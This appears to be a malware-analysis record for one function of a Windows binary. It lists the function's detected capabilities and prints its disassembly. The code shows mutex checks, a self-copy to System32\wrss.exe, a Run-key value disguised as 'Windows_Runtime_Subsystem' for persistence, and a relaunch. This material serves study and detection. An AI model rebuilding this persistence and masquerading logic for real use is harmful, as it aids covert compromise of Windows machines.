Function at 0x401040
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Create process on windows
Create process suspended
Create thread
Persist via run registry key
Query environment variable
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0xc4c
mov eax, dword [0x405004]
xor eax, esp
mov dword [esp + 0xc48], eax
mov eax, dword [ebp + 0x10]
push esi
push 0x403188
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
add esp, 8
test eax, eax
jne 0x40115b
push str.miE78RYDI1f129Y0GWaTN8HWliVvAQphSUY4NMX4atgznk2WoE
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x401144
push 0x1f4
lea eax, [esp + 0x464]
push eax
push str.TEMP
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
lea eax, [esp + 0x460]
push eax
lea eax, [esp + 0x7c]
push str._slost.dat
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [esp + 0x78]
push 0x40321c
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__wfopen]
mov esi, eax
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
add esp, 0xc
push dword [esp + 0x14]
push dword [esp + 0x14]
push 0x403220
push esi
call fcn.00401010
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
add esp, 0x14
push 0
push 0
push 0
push 0x4012f0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x401350
push 0
push 0
call esi
push 0
push 0
push 0
push 0x401380
push 0
push 0
call esi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [esp + 0xc4c]
xor eax, eax
pop esi
xor ecx, esp
call fcn.00401582
mov esp, ebp
pop ebp
ret 0x10
mov esi, dword [sym.imp.KERNEL32.dll_CreateMutexW]
push str.xcfquoigERQOeqGG9nhy5hgcCBHe7dhPJBkVc2MqjbqWloW66M
push 0
push 0
call esi
push str.miE78RYDI1f129Y0GWaTN8HWliVvAQphSUY4NMX4atgznk2WoE
push 0
push 0
call esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x401144
lea eax, [esp + 0x10]
push eax
push 2
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
push 0x104
lea eax, [esp + 0x464]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x3e
push str._SystemRoot_System32wrss.exe
push 2
push 0
push str.Windows_Runtime_Subsystem
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x104
lea eax, [esp + 0x7c]
push eax
push str.SystemRoot
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
push str.System32wrss.exe
lea eax, [esp + 0x7c]
push 0x104
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
add esp, 0xc
lea eax, [esp + 0x78]
push 0
push eax
lea eax, [esp + 0x468]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
xorps xmm0, xmm0
mov dword [esp + 0x18], 0x44
lea eax, [esp + 0x78]
movlpd qword [esp + 0x1c], xmm0
push eax
lea eax, [esp + 0x84c]
movlpd qword [esp + 0x28], xmm0
push str.__s___s
push eax
movlpd qword [esp + 0x38], xmm0
movlpd qword [esp + 0x40], xmm0
movlpd qword [esp + 0x48], xmm0
movlpd qword [esp + 0x50], xmm0
movlpd qword [esp + 0x58], xmm0
movlpd qword [esp + 0x60], xmm0
movaps xmmword [esp + 0x6c], xmm0
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [esp + 0x60]
push eax
lea eax, [esp + 0x1c]
push eax
push 0
push 0
push 8
push 0
push 0
push 0
lea eax, [esp + 0x868]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3